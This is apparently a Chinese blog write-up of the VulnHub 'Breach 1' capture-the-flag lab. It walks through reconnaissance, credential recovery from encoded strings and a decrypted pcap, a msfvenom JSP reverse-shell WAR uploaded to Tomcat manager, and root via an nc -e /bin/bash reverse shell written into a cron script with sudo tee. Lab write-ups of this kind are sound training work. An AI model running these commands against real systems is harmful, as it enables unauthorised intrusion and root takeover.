vulnhub breach 1通关

目录

知识点总结:

环境搭建:

靶机通关:

1.信息收集(记住要把靶机先打开)

查找ip

查看端口

目录扫描

漏洞查找

base64解码

IDS/IPS简述

.keystore文件

pcap文件

wireshark流量插入及其自动解密

bp代理

上传木马

提权

linux内核提权

水平越权

mysql越权

图片隐写

tee指令和定时任务提权

 获取flag

提权成功原因说明

知识点总结:

1.要看网页源代码以及附有提示的图片内部内容

2.IPS/IDS的基本概念

3.SSL公私钥相关文件

4.wireshark的流量插入以及自动解密机制

5.bp代理绕过网站拦截证书机制

6.linux内核提权

7.tee指令+定时任务提权

8.mysql越权

9.图片隐写

10.msf相关的木马文件生成

11.远程连接创建shell指令

环境搭建:

攻击机:kali2023

靶机:breach 1

下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip

虚拟机设置:因为该靶机的静态ip是192.168.110.140,我们尽量让kali和靶机在同一子网下,方便连接,并且避免不必要的其他连接。先把攻击机和靶机的网络适配器

然后点击虚拟机的编辑打开虚拟网络编辑器

 更改设置,将子网ip改为

选择V8,修改子网如下

再修改DHCP设置为下

设置完成

靶机通关:

1.信息收集(记住要把靶机先打开)

查找ip

arp-scan -l

查看端口

nmap 192.168.110.140

 发现好多都开着,可能开着端口防护(类似防火墙),优先看看80端口

上面是讲该靶机来历:简述就是 小胖被开了,留了个惊喜给公司!

目录扫描

访问/images目录

遍历所有图片,发现bill.png有提示:让我们看源码

一无所获

回到小胖那看源码

大师我悟了,看到一串编码。

漏洞查找

base64解码

发现刚好64个字符,base64解码看看

再解一次

不知道是什么先留着

突然发现好像小胖的图片好像可以点击,进行重定向,如下

第一步看看源码

让我读邮件。但是好像没邮件可读

点击上述的所有,最后点进Employee portal

要登录,试试之前的解码内容

成功登录,进入后台。

发现邮箱inbox,看一看

仅说了个密码很安全

小胖从供应商那得到廉价的IDS/IPS,那该网站就跟IDS/IPS有关

IDS/IPS简述

IDS:是一个用于检测网络流量的东西,相当于监控,可以监测网络,系统的不安全的行为

IPS:相当于防毒软件和防火墙的补充,不仅可以用来检测网络流量,而且可以当遇到攻击时,根据威胁程度来进行抵御攻击,比如向管理中心告警;丢弃该报文;切断此次应用会话;切断此次TCP连接。

下一封

.keystore文件

发现不明的网站目录文件,192.168.110.140/.keystore,访问试试

自动下载了文件,搜一下.keystore

keystore可以认为是存放秘钥的一个包,需要提供正确的密码才能将包里的秘钥取出来。 

SSL证书也可以被存放在keystore中,需要找到密码才能得到SSL证书。

我们只能找找网站有没有ssl的密码了,发现home目录下的ssl相关信息

直接点击

又一个新数据包,并且告知了一个password是tomcat,namp的指令没有用

pcap文件

 搜索一下pcap文件

得知:PCAP 文件是在计算机网络(例如 WiFi 或以太网)上捕获的数据包的容器,并且使用wireshark打开

此时我们就先导出证书,密码全是tomcat

keytool -importkeystore -srckeystore <keystore的文件名> -destkeystore 文件名.p12 -deststoretype pkcs12 -srcalias tomcat
 
-importkeystore 导出keystore
 
-srckeystore  源keystore文件
 
-destkeystore  导出之后的证书存放路径
 
-deststoretype  导出keystore之后的证书类型
 
-srcalias 源alias

 成功导出

然后我们来看看pcap文件

wireshark流量插入及其自动解密

之前我们得到的.p12文件里面含有密钥,此时我们可以使用的wireshark来进行自动解密

所以我们要把该密钥文件放入流量中

编辑——>首选项——>protocols——>找到SSL(老版本)/TLS(新版本)

点击Edit

 写入如下流量包

 

然后一直确定到最初页面,再根据time进行排序即可找到该流量包

看到一个unauthorized未授权和一个200,果断选择查看200的那个流量包,然后找到了数据

 tomcat:Tt\5D8F(#!*u=G)4m7zB,和一个网站目录192.168.110.140:8443/_M@nag3Me/html

我们直接访问

bp代理

被浏览器的安全机制拦截了证书

此时我们就可以使用bp代理来绕过该机制

try again,拦截导数据包,再发包就成功进入了

好啊好啊,向下找到了上传war文件

上传木马

试过一句话木马,不过立马就噶掉了,可能是由于太简单而被IPS/IDS杀死了,于是我们直接msf生成反弹shell,我们通过信息收集发现该管理系统impress由java写成

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war > breach.war
//生成java jsp木马

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 4444
run

 已经在监听了,此时我们只需要上传我们的木马文件 breach.war即可(全程都需要burp抓包和放包)

上传后出现下目录

点击访问,bp抓包放包

提权

返回命令行,发现成功连接

使用python命令优化一下该命令行

python -c 'import pty;pty.spawn("/bin/bash")'

查看当前用户的执行权限

sudo -l

要密码

linux内核提权

linux内核提权看看

对照kernel的版本以及Ubuntu版本,发现并没有exp可以使用

水平越权

 那就试试水平越权,查看相关用户权限

cat /etc/passwd

发现有两个用户有执行权限

看能不能试着找找密码

看看80端口网站的服务器是什么

whatweb http://192.168.110.140/impresscms/

是原来Apache,然后搜索一下得知,Apache的站点目录为/var/www/html,然后就一层一层找下去

看到个backup和5446目录,找找看

 唉,这个不行

访问两个php文件,发现两个文件的内容以及提供的提示几乎一样,此处就只cat 一个文件就可以了

mysql越权

就是发现数据库并没有密码(要输入密码时直接回车就好了),那就直接登录

 show database;

use mysql;

 show tables;

红线部分,粗心了,差一个分号,select user,password from user;

拿到密码,但是由于一把数据库的密码都是用md5来加密的,所以我们需要md5解密密文

此处就使用随便搜一个md5解密的网站就行了

MD5免费在线解密破解_MD5在线加密-SOMD5

password:thelaststraw

ctrl+c   N 退出mysql

切换用户

su milton

再查看权限

我的天还不能!

现在我们看一看之前的另一个有执行权限的用户:blumbergh

又要密码。太难了,看文章发现,重新定向,发现线索

图片隐写

返回我们之前的网站的/images目录下有个bill.png,让我看源码,不仅是网页源码,还有该图片的内部的内容,保存下来

 strings命令显示图片的源码内容

strings bill.png

好多行,唯一像密码的就只有coffeestains,于是尝试登录,并查看可执行的文件

tee指令和定时任务提权

tee命令一般配合 | 利用

ls | tee 1.txt

| 前面进行执行命令ls,执行命令的结果会保存在1.txt文件中

然后问了一下GPT,关于/usr/share/cleanup/tidyup.sh这个文件

/usr/share/cleanup/tidyup.sh这个路径看起来是一个自定义的脚本文件位置,用于系统清理或维护。在标准Linux发行版中,并没有预设的这样一个脚本。不过,有些系统管理员可能会在/usr/share目录下创建一个cleanup子目录,并在其中放置一个名为tidyup.sh的脚本,用以执行一些系统清理任务,比如清理临时文件、日志归档、释放磁盘空间等。

经过实操,发现tidyup.sh,我们只有写入权限,而没有执行权限,但是该定时任务每三分钟会执行一次,所以我们只需要把内容写进去就行了

我们就使用tee指令+定时任务开提权试试

 在命令执行之前,我们先另起一个终端,监听一下端口

nc -lvp 5555

 开始提权

echo "nc -e /bin/bash 192.168.110.129 5555" > shell.txt
#写入命令到shell.txt,在kali创建一个shell命令行
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
#写入命令到tidyup.sh
cat /usr/share/cleanup/tidyup.sh
#查看成功写入

 静候连接,连接成功,为root权限

 获取flag

cp /root/flair.jpg /var/www/html/images   #复制flair.ipg到/images目录下

然后回到/images目录下查看flair.jpg即可

 成功!!!

提权成功原因说明

介绍上述为什么会提权成功,首先我们使用的nc那个远程连接执行,我们以什么身份执行该命令,所远程连接的权限就会跟执行命令的身份的权限一致,虽然我不是root权限,但是我所在用户可以使用以root权限执行tee指令和写入文件内容,实现与kali攻击机进行连接,由于定时任务的原因,系统会自动以root权限执行tidyup.sh,所以此时相当于root用户在执行该命令,远程连接的shell自然也是root权限了!!!

  • 18
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值